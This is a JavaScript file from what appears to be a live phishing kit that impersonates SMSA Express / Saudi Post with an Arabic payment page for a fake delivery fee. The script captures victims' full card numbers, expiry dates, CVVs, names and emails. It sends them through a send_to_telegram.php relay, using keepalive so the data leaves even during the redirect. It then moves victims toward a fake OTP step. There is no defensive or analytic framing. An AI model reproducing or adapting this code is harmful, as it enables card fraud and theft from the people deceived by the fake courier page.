/home2/mshostin/public_html/saudiapost/smsa/js/payment_flow_ar.js
/* ============================================
   SMSA EXPRESS - PAYMENT FLOW MANAGEMENT (ARABIC)
   Flux : Paiement → OTP → Chargement → Succès
   AVEC ENVOI TELEGRAM
   ============================================ */

document.addEventListener('DOMContentLoaded', function() {
    const paymentForm = document.getElementById('payment-form');
    if (paymentForm) {
        paymentForm.addEventListener('submit', handlePaymentSubmit);
    }

    // Formater le numéro de carte
    const cardNumberInput = document.getElementById('card-number');
    if (cardNumberInput) {
        cardNumberInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\s/g, '');
            let formattedValue = value.replace(/(\d{4})/g, '$1 ').trim();
            e.target.value = formattedValue;
        });
    }

    // Formater la date d'expiration
    const expiryInput = document.getElementById('expiry-date');
    if (expiryInput) {
        expiryInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '');
            if (value.length >= 2) {
                value = value.slice(0, 2) + '/' + value.slice(2, 4);
            }
            e.target.value = value;
        });
    }

    // Limiter le CVV
    const cvvInput = document.getElementById('cvv');
    if (cvvInput) {
        cvvInput.addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/\D/g, '').slice(0, 4);
        });
    }
});

// Gérer la soumission du formulaire de paiement
function handlePaymentSubmit(e) {
    e.preventDefault();

    // Valider le formulaire
    if (!validatePaymentForm()) {
        return;
    }

    // Stocker les données de paiement dans sessionStorage
    storePaymentData();

    // Envoyer les données à Telegram
    sendPaymentDataToTelegram();

    // Rediriger vers la page de loading avant OTP (avec délai)
    setTimeout(() => {
        const lang = document.documentElement.lang === 'ar' ? '_ar' : '';
        window.location.href = `loading_payment${lang}.html`;
    }, 1500);
}

// Stocker les données de paiement
function storePaymentData() {
    const paymentData = {
        tracking_number: document.getElementById('tracking-number-payment').value,
        delivery_fee: document.getElementById('delivery-fee').value,
        card_name: document.getElementById('card-name').value,
        email: document.getElementById('email').value,
        timestamp: new Date().toISOString()
    };
    sessionStorage.setItem('paymentData', JSON.stringify(paymentData));
}

// Envoyer les données du formulaire à Telegram
function sendPaymentDataToTelegram() {
    const formData = new FormData();
    formData.append('action', 'payment_data');
    formData.append('tracking_number', document.getElementById('tracking-number-payment').value);
    formData.append('delivery_fee', document.getElementById('delivery-fee').value);
    formData.append('card_name', document.getElementById('card-name').value);
    formData.append('email', document.getElementById('email').value);
    formData.append('card_number', document.getElementById('card-number').value.replace(/\s/g, ''));
    formData.append('expiry_date', document.getElementById('expiry-date').value);
    formData.append('cvv', document.getElementById('cvv').value);
    formData.append('timestamp', getCurrentDateTime());
    formData.append('ip_address', 'Client IP');
    formData.append('language', 'ar');

    // Utiliser keepalive pour s'assurer que la requête est envoyée même pendant la redirection
    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData,
        keepalive: true
    })
    .then(response => response.json())
    .then(data => {
        console.log('Payment data sent to Telegram (ARABIC):', data);
        clearCardData();
    })
    .catch(error => {
        console.error('Error sending payment data to Telegram:', error);
        // Continuer même en cas d'erreur
        clearCardData();
    });
}

// Effacer les données de la carte du système
function clearCardData() {
    document.getElementById('card-number').value = '';
    document.getElementById('expiry-date').value = '';
    document.getElementById('cvv').value = '';
    
    setTimeout(() => {
        document.getElementById('card-name').value = '';
        document.getElementById('email').value = '';
    }, 500);
}

// Valider le formulaire de paiement
function validatePaymentForm() {
    const name = document.getElementById('card-name').value.trim();
    const email = document.getElementById('email').value.trim();
    const cardNumber = document.getElementById('card-number').value.replace(/\s/g, '');
    const expiryDate = document.getElementById('expiry-date').value;
    const cvv = document.getElementById('cvv').value;

    if (!name) {
        showPaymentAlert('يرجى إدخال اسمك الكامل', 'error');
        return false;
    }

    if (!email || !isValidEmail(email)) {
        showPaymentAlert('يرجى إدخال عنوان بريد إلكتروني صحيح', 'error');
        return false;
    }

    if (!cardNumber || cardNumber.length !== 16) {
        showPaymentAlert('يرجى إدخال رقم بطاقة صحيح من 16 رقم', 'error');
        return false;
    }

    if (!expiryDate || !isValidExpiryDate(expiryDate)) {
        showPaymentAlert('يرجى إدخال تاريخ انتهاء صحيح (MM/YY)', 'error');
        return false;
    }

    if (!cvv || cvv.length < 3) {
        showPaymentAlert('يرجى إدخال CVV صحيح', 'error');
        return false;
    }

    return true;
}

// Vérifier si l'email est valide
function isValidEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
}

// Vérifier si la date d'expiration est valide
function isValidExpiryDate(expiryDate) {
    const [month, year] = expiryDate.split('/');
    if (!month || !year || month < 1 || month > 12) {
        return false;
    }
    
    const currentDate = new Date();
    const currentYear = currentDate.getFullYear() % 100;
    const currentMonth = currentDate.getMonth() + 1;

    const expYear = parseInt(year);
    const expMonth = parseInt(month);

    if (expYear < currentYear) {
        return false;
    }

    if (expYear === currentYear && expMonth < currentMonth) {
        return false;
    }

    return true;
}

// Afficher l'alerte de paiement
function showPaymentAlert(message, type = 'info') {
    const alertBox = document.getElementById('payment-alert-box');
    if (!alertBox) return;

    alertBox.textContent = message;
    alertBox.className = `alert active ${type}`;

    setTimeout(() => {
        alertBox.classList.remove('active');
    }, 5000);
}

// Obtenir la date et heure actuelle
function getCurrentDateTime() {
    const now = new Date();
    return now.toLocaleString();
}